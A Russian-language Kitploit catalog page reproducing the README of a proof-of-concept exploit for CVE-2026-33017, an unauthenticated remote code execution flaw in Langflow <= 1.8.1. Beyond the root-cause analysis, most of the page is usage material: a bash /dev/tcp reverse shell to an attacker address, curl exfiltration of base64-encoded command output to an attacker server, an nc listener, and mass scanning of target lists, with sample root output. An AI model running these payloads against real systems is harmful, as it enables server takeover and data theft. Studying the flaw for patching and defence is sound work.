Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
langflow-CVE-2026-33017-poc — CVE-2026-33017 - Удалённое выполнение кода без аутентификации в Langflow <= 1.8.1 через Public Flow Build Endpoint | Kitploit
Инструменты/GitHubGitHub/maxmnml/langflow-cve-2026-33017-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и Образование
GitHubmaxmnml/langflow-cve-2026-33017-poc

langflow-CVE-2026-33017-poc

CVE-2026-33017 - Удалённое выполнение кода без аутентификации в Langflow <= 1.8.1 через Public Flow Build Endpoint

Репозиторий
10425 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33017 — PoC неаутентифицированного RCE в Langflow

CVE CVSS Affected Language

Только для образовательных целей и авторизованного тестирования.

Краткое описание

Langflow <= 1.8.1 предоставляет публичную конечную точку сборки потока, которая принимает управляемые атакующим данные потока, содержащие произвольный код. Этот код передается в prepare_global_scope() в validate.py, которая вызывает exec() без песочницы, что приводит к неаутентифицированному удаленному выполнению кода с привилегиями серверного процесса.

  • CVE: CVE-2026-33017
  • GHSA: GHSA-vwmf-pq79-vjvx
  • Уровень опасности: Критический — CVSS 9.3 (AV:N/AC:L/PR:N/UI:N)
  • Исправлено в: 1.9.0

Затронутые версии

ПакетЗатронутоИсправлено
pip langflow<= 1.8.11.9.0

Детали уязвимости

Корневая причина

Конечная точка build_public_tmp намеренно не требует аутентификации — она предназначена для того, чтобы любой желающий мог выполнить сохраненный публичный поток. Уязвимость заключается в том, что она также принимает необязательный параметр data, содержащий управляемые атакующим определения потока. Поэтому неаутентифицированный пользователь может отправить произвольный код узла, который сервер воспринимает как легитимный граф потока и передает напрямую в процедуры выполнения кода без проверки.

Исправление простое: удалить параметр data и заставить конечную точку вызывать только build_graph_from_db(), чтобы публичные потоки выполняли исключительно сохраненные данные и никогда — код, предоставленный атакующим.

Цепочка выполнения

Полезная нагрузка атакующего проходит следующую цепочку вызовов перед выполнением:

ШагФайлДетали
1chat.py:580build_public_tmp получает данные атакующего в теле запроса
2build.py:81start_flow_build() передает недоверенную полезную нагрузку
3build.py:298build_graph_from_data() передает ее в построение графа
4base.py:1168Graph.from_payload() десериализует определения узлов, предоставленные атакующим
5base.py:1323instantiate_component() вызывается для каждого узла
6loading.py:43Поле code извлекается из параметров пользовательского компонента
7eval.py:9create_class() получает исходный код атакующего
8validate.py:397exec(compiled_code, exec_globals) — без песочницы

Почему работает внедрение на уровне модуля

prepare_global_scope() в validate.py обрабатывает узлы ast.Assign во время компиляции графа — до вызова любого метода потока. Поэтому присваивание верхнего уровня во внедренном коде выполняется немедленно:

root@kitploit:~
_r = __import__('os').system("whoami")  # runs at compile time, not at flow run time

Вывод направляется в stdout сервера, а не в HTTP-ответ. Для эксфильтрации требуется исходящий callback (реверс-шелл, webhook через curl).

Уязвимая конечная точка

Конечная точкаАутентификацияВектор атаки
POST /api/v1/build_public_tmp/{flow_id}/flowНетУдаленный, без аутентификации

Сценарии эксплуатации

СценарийТребование
A — включен AUTO_LOGINAUTO_LOGIN=true: анонимно получить JWT-токен, создать PUBLIC-поток, эксплуатировать
B — известный публичный потокИзвестен UUID общего/публичного потока: эксплуатировать напрямую, аутентификация не требуется

Использование

root@kitploit:~
pip install requests
python3 poc.py --url http://target:7860 --cmd "id"

Параметры

ФлагПо умолчаниюОписание
--url—URL одной целевой Langflow-инстанции
--url-file—Текстовый файл с одним URL на строку (массовое сканирование)
--cmdidКоманда ОС для выполнения на цели
--flow-id—UUID существующего публичного потока (пропускает создание потока)
--threads5Количество параллельных потоков для массового режима
--timeout15Таймаут HTTP-запроса в секундах
--no-cleanupfalseОставить созданный поток после эксплуатации

Примеры

Важно: PoC использует os.system() на уровне модуля — команда выполняется на сервере, но ее вывод уходит в stdout сервера, а не обратно в HTTP-ответ. PoC лишь подтверждает, что выполнение произошло ([+] VULNERABLE). Чтобы реально получить вывод команды, используйте один из методов эксфильтрации ниже.

Слепое подтверждение (проверяет RCE без получения вывода)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id"

Реверс-шелл — с локальным слушателем

root@kitploit:~
# 1. Start a listener on your machine
nc -lvnp 4444

# 2. Send the reverse shell
python3 poc.py --url http://target:7860 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

Внеполосная эксфильтрация через HTTP callback — с локальным сервером

root@kitploit:~
# 1. Start a local HTTP server
python3 -m http.server 8080

# 2. Exfiltrate output via curl callback
python3 poc.py --url http://target:7860 --cmd "curl http://10.10.14.1:8080/\$(id | base64 -w0)"

С известным UUID публичного потока (создание потока не требуется)

root@kitploit:~
python3 poc.py --url http://target:7860 --cmd "id" --flow-id <flow-uuid>

Массовое сканирование из файла

root@kitploit:~
python3 poc.py --url-file targets.txt --cmd "id" --threads 10

Пример вывода

PoC подтверждает, что выполнение произошло. [+] VULNERABLE означает, что сборка прошла успешно и внедренный код выполнился — это не означает, что вывод был получен.

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow RCE PoC
============================================================
  Targets : 1
  Command : curl http://10.10.14.1:8080/$(id | base64 -w0)
  Threads : 5  |  Timeout : 15s
============================================================

[http://target:7860] auth: JWT token obtained
[http://target:7860] flow: created (3f2a1b4c-...)
[http://target:7860] [+] VULNERABLE — RCE executed
[http://target:7860] flow: deleted (3f2a1b4c-...)

============================================================
  SUMMARY
============================================================
  [+] http://target:7860  VULNERABLE
============================================================

  1/1 target(s) vulnerable

Вывод, полученный на локальном HTTP-сервере:

root@kitploit:~
10.10.14.1 - - "GET /dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCk= HTTP/1.1" 200 -
# base64 -d → uid=0(root) gid=0(root) groups=0(root)

Ссылки

  • GHSA-vwmf-pq79-vjvx
  • CVE-2026-33017
  • Репозиторий Langflow
  • Связанное: CVE-2025-3248 — аналогичная проблема с exec() на /api/v1/validate/code
Скачать инструмент